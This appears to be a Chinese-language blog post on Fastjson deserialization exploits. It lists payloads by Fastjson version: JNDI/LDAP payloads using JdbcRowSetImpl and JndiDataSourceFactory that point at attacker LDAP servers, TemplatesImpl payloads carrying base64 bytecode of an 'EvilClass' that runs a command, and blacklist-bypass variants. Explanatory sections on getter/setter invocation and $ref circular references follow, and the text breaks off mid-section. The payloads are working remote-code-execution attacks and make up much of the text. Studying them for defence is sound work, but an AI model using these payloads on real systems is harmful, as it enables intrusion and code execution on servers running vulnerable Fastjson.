本文最后更新于 2025年5月16日 下午
总结 gadgets 后面的版本修复主要是对前面版本的gadget加黑名单,寻找新gadget主要通过绕过黑名单来进行,一些已破解的黑名单白名单https://github.com/LeadroyaL/fastjson-blacklist
高版本的gadget使用条件比较苛刻,需要考量以下条件
astjson版本
JDK版本
中间件版本
第三方依赖版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://192.168.196.128:1389/5ltgie" , "autoCommit" :true } {"@type" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson ≤ 1.2.24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://192.168.196.128:1389/5ltgie" , "autoCommit" :true } {"@type" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
1.2.25 ≤ FastJson ≤ 1.2.41
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 {"@type" :"Lcom.sun.rowset.JdbcRowSetImpl;" ,"dataSourceName" :"ldap://192.168.196.128:1389/5ltgie" , "autoCommit" :true } {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true } {"@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" ,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true } {"@type" :"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} {"@type" :"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [{,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} {"@type" :"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }} { "@type" : "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" [{, "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }} { "@type" : "LLorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;;" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson ≤ 1.2.42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true } {"@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" ,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true } {"@type" :"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [{,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} {"@type" :"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }} { "@type" : "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" [{, "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }} { "@type" : "LLorg.apache.ibatis.datasource.jndi.JndiDataSourceFactory;;" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson 1.2.43
1 2 3 4 5 6 7 8 9 10 11 12 13 14 {"@type" :"[com.sun.rowset.JdbcRowSetImpl" [{,"dataSourceName" :"ldap://192.168.100.128:1389/Exploit" ,"autoCommit" :true } {"@type" :"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" [{,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}} { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }} { "@type" : "[org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" [{, "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson 1.2.44
1 2 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
FastJson ≤ 1.2.47
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "a" :{ "@type" :"java.lang.Class" , "val" :"com.sun.rowset.JdbcRowSetImpl" }, "b" :{ "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://localhost:1389/badNameClass" , "autoCommit" :true } }
反序列化如何调用getter getter返回类型为Collection<>
并且没有setter
方法,传入的payload的值是集合,通过getter()
获取集合实例然后通过反射或集合方法填充数据,如使用realms.add(realm)
通过循环引用 循环引用,fastjson默认开启
{"$ref":"$.tm"}
是一个 JSON-Path
引用表达式,表示访问根节点(当前 JSON 根节点下)也就是CacheJndiTmLookup
的tm
属性,Fastjson 会通过反射调用 getTm()
方法(如果存在)或直接访问 tm
字段来获取值,并且getter
方法不能是void
无返回值的
一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example;import com.alibaba.fastjson.JSON;class User { private String name; public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { System.out.println("getAge() called" ); return 0 ; } }public class test { public static void main (String[] args) { String payload = "{\"name\":\"admin\",\"age\":{\"$ref\":\"$.age\"}}" ; User user = JSON.parseObject(payload, User.class); } }
调用了getAge
无论是否存在setter
,循环引用都会调用getter
一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import com.alibaba.fastjson.JSON;class User { private String name; private int age; public String getName () { System.out.println("getName call" ); System.out.println(this .name); return name; } public void setName (String name) { this .name = name; } public int getAge () { System.out.println("getAge() called" ); return this .age; } public void setAge () { System.out.println(this .age); } }public class test { public static void main (String[] args) { String payload = "{\"name\":{\"$ref\":\"$.name\"},\"age\":18}" ; User user = JSON.parseObject(payload, User.class); } }
前置 fastjson
Fastjson 是阿里巴巴开源的一款高性能 Java 库,主要用于 JSON 数据的解析和生成 。它可以将 Java 对象转换为 JSON 字符串(序列化),也能将 JSON 字符串还原为 Java 对象(反序列化),在 Java 开发中广泛用于网络通信、数据存储和配置文件处理等场景。
一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import com.alibaba.fastjson.JSON;public class test { static class User { private String name; private int age; public User () {} public User (String name, int age) { this .age = age; this .name = name; } public int getAge () { System.out.println("调用 getAge()" ); return age; } public void setAge (int age) { System.out.println("调用 setAge()" ); this .age = age; } public void setName (String name) { System.out.println("调用 setName()" ); this .name = name; } public String getName () { System.out.println("调用 getName()" ); return name; } } public static void main (String[] args) { String json = JSON.toJSONString(new User ("admin" , 18 )); System.out.println("序列化数据 " + json); User user = JSON.parseObject(json, User.class); } }
fastjson在序列化的时候会自动调用类的getter方法来获取属性值,而不是直接访问属性
在反序列化时会自动调用类的setter方法来赋值,而不是直接修改字段
正是因为这个特性,在反序列化/序列化参数可控的时候,可以利用某些类来进行恶意操作。
为什么要有一个无参构造方法。
Java对象实例化的基本规则
无参构造方法是Java类的默认入口 如果一个类没有显式定义任何构造方法,Java编译器会自动生成一个无参构造方法。但如果定义了带参数的构造方法(如 User(String name)
),编译器不再生成默认无参构造方法 。
反序列化需要先创建空对象 Fastjson在反序列化时,需要先通过无参构造方法创建一个“空壳”对象实例,再通过反射或setter方法将JSON中的字段值填充到对象中。如果没有无参构造方法,则无法完成第一步的实例化。
Fastjson反序列化的核心步骤如下
1 2 3 4 5 6 7 8 9 10 public static <T> T parseObject (String json, Class<T> clazz) { T obj = clazz.newInstance(); for (Field field : clazz.getFields()) { field.set(obj, json中对应的值); } return obj; }
JSON字段的键值对是动态的(可能缺少某些字段或顺序混乱),无法直接匹配构造方法的参数列表。而无参构造方法提供了一种统一的实例化方式。
@type
在 Fastjson 中,@type
